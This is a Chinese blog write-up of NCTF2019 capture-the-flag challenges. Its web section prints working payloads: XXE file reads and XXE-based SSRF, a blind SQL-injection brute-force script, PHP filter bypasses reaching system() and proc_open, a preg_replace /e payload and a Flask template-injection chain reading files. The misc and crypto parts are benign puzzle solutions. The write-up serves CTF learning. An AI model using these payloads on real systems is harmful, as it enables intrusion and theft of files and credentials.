NCTF2019[Misc&&web]

前言

NCTF2019…..

WEB

1.Fake XML cookbook

用户名字段存在有回显xxe,payload直接打,flag在根目录下:

1
2
3
4
5
6
7
<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///flag">

]>

<user><username>&test;</username><password>123</password></user>

1574535490793

2.True XML cookbook

再把上一题的payload打一遍,发现已经不行了,但是依旧有回显.

1574535803233

没有找到flag的位置…..试着读源码,发现啥也都没有

最后发现是使用xxe用ssrf打内网,这里有几个文件会记录内网下的ip

1
/etc/hosts,/proc/net/arp,/proc/net/fib_trie

1574536023673

一个个试,在192.168.1.8获得flag

1574536099610

3.sqli

fuzz测试下发现被ban掉的字符有:

1
, ' " and or # - + = 空格

这里的sql注入的查询语句是

1
select * from username='' and password=''

过滤掉单引号,用反转义来闭合,但是又过滤了所有的注释符,考虑使用%00来截断末尾的单引号

payload如下:

1
username=123\&passwd=||1;%00

1574536786575

302至welcome.php,所以现在是登录失败和登录成功的差别了,要盲注.

fuzz测试发现,过滤了substr(),mid(),select()

截取字符串的还有right()和left(),但是逗号被过滤了,剩下一个ascii()可以利用,然后=<>like被过滤了,剩下regexp可以利用,而且既然过滤了select ,只能构造简单判断字段的语句.

payload如下:

1
username=123\&passwd=||1;%00

1574604135406

其中69=’i’.encode(‘hex’)

其中6e=’n’.encode(‘hex’)

其中63=’c’.encode(‘hex’)

先通过ascii手动爆破出第一位

1
username=123\&passwd=||passwd/**/regexp/**/121;%00

发现是y

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://nctf2019.x1ct34m.com:40005/index.php"
string= "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_"
password="y"
hex_password="0x79"
for i in range(1,50):
for j in string:
s = j.encode('hex')
payload = "/**/||passwd/**/regexp/**/"+hex_password+s+";"+chr(0)
data = {
"username":"123\\",
"passwd":payload
}
r = requests.post(url,data=data)
if "try to make" not in r.text:
password = password+j
hex_password= hex_password+s
print password
break

1574539118753

爆出密码:you_will_never_know7788990

登陆任意用户名即可获得flag

4.easyphp

代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];


//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('23333333');
}


//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}


//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
}

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}
?>
23333333

第一部分:用%0a绕过preg_match()

1
payload:?num=23333%0a

第二部分:

首先$md5_1不等于$md5_2,这里可以看到$string_1是需要经过is_numeric()的检测

然后$a=$b过第二层,这里考虑使用到0e的特点.

所以最终的思路是,爆破一个数字,他的md5值其中除数字外只包含’cxhp’的其中一个或多个.这样在经过strtr()替换后,$a就是纯数字,再找一个符合0e特点的数字

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
def md5(s):
return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()
for i in range(1,9999999):
flag = 1
j = md5(str(i))
print j + " "+str(i)
if j[0:2] == '0e':
for z in j[2:]:
if z not in "0123456789c":
flag = 0
break
if flag == 1:
print "------------------md5("+str(i)+")="+j
break

爆破结果:2120624

payload:

1
num=23333%0a&str1=2120624&str2=240610708

第三层:

$_GET['q_w_q']长度小于等于8,并且$_SERVER['QUERY_STRING']检测不能包含下划线_

也就是说我们不能输入q_w_q,

参考:https://zhidao.baidu.com/question/2140448796534468708.html?qq-pf-to=pcqq.c2c

php传入变量带有点号.会被自动转化成下划线_

payload1:

1
?num=23333%0a&str1=2120624&str2=240610708&q.w.q=dir%20./

读目录

1574541392345

考虑到这个参数值长度不可超过8,没有cat,使用head,并且使用通配符绕过对长度的限制

1
?num=23333%0a&str1=2120624&str2=240610708&q.w.q=head%20f*

1574541534605

5.replace

hint:使用php5.6+bootstrap进行开发

参考:https://www.freebuf.com/column/182130.html

1574541903202

因为在源码中直接带有/e模式,所以phpinfo()就直接执行了…

过滤了单引号,用chr()代替

payload:

1
sub=123&pat=123&rep=show_source(chr(47).chr(102).chr(108).chr(97).chr(103));

6.flask

打开靶机,是flask写的实现加密功能的网站

在md5加密和base64加密的参数中尝试ssti失败

访问sha256

1574542449015

访问/123

1574542483885

在这里有ssti

然后就直接一把梭读flag,payload

1
{{().__class__.__base__.__subclasses__()[40]('/fla'+'g').read()}}

1574542639098

7.hackerbackdoor

nctf PHP1.0的变形,加上过滤了eval,assert函数

执行phpinfo:

1
?useful=/etc/passwd&code=$a=p.h.p.i.n.f.o;$a();

1574542855552

跟inctf一样,没有禁用proc_open函数,直接按之前的做法,执行:

1
proc_open("/readFlag>/tmp/hhx",array(),$z);

直接之前的payload来打就行:

1
?useful=/etc/passwd&code=$a=p.r.o.c.(%a0^%ff).o.p.e.n;$a((%d0^%ff).r.e.a.d.f.l.a.g.(%c1^%ff).(%d0^%ff).t.m.p.%20(%d0^%ff).c.o.o.k.i.e,array(),$z);

写flag到/tmp/cookie

1
?useful=/etc/passwd&code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%27/tmp/cookie%27);&%ff=show_source

读/tmp/cookie

NCTF{u_arrree_S0_c3refu1_aaaaaaa}

MISC

1.a_good_idea

解压文件得到两个图片

然后用stegsolve用to_do.png去combine那个to.png

img

2.pip install

去安装这个库的时候,安装信息里有一个下载地址

访问该地址,下载库文件,在setup.py里找到flag

img

img

3.What’s this

看着是一道流量分析题……

上传的是一个zip文件,我们保存这个zip文件

然后在deepin上看zip文件是有加密……我在win7上用7z莫名其妙就打开了

img

然后这是一个base64隐写

img

网上找个脚本跑一下

https://www.jianshu.com/p/48fe4dd3e5ce

img

4.小狗的秘密

感觉都做到最后一步了,分析流量,http的数据没有逻辑可言,但是在里面发现了一个1.html

img

这是像素坐标,把这个转成png就好了…..

参考:https://github.com/ctfs/write-ups-2014/tree/master/defkthon-ctf/misc-200

网上找了个脚本,当然用GIMP也是可以的

https://blog.csdn.net/qq_40657585/article/details/84858709

img

1.html保存下来的像素点有49799个,保险起见,补一个像素点255 255 255

img

分解49800,最正常的因子有332*150,然后脚本跑一下,就有flag图了.

分解因子的链接:http://www.ecjson.com/quality/

img

5.键盘侠

JPG图片后有个压缩包,分离出来,更改后缀.docx。

img

检查文档可以获得一串字符:

img

PD4idqQC|WjHloX>)UPb8ZFb8laGczAeteE

试了一下午,发现原来是base85...

img

6.Become a Rockstart

很无聊的脑洞题…..

img

我倒着读,然后把这里面提到的几个人说的话拼起来

居然就是flag….

flag:NCTF{youarnicerockstar}

crypto

1.Keyboard

img

考虑到这里的ooo yyy 这些可能是某个字符,然后这样的字符串很像词频攻击

在百度上找到:https://blog.csdn.net/vhkjhwbs/article/details/100775409

自己写一个对应表

img

这里的yyy eee 这样子非单个字符的字符串对应某个字符,这个字符随便写一个就好了,我这里ooo=o,当然也可以是ooo=x等等,不和已有的单字符重复就好了...

然后放到:https://quipqiup.com/

跑一下就好

img

img

这里我疯了,flag是:NCTF{youaresosmartthatthisisjustapieceofcake}

Author: 我是小吴啦
Link: http://yoursite.com/2019/11/29/NCTF2019-Misc-web/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.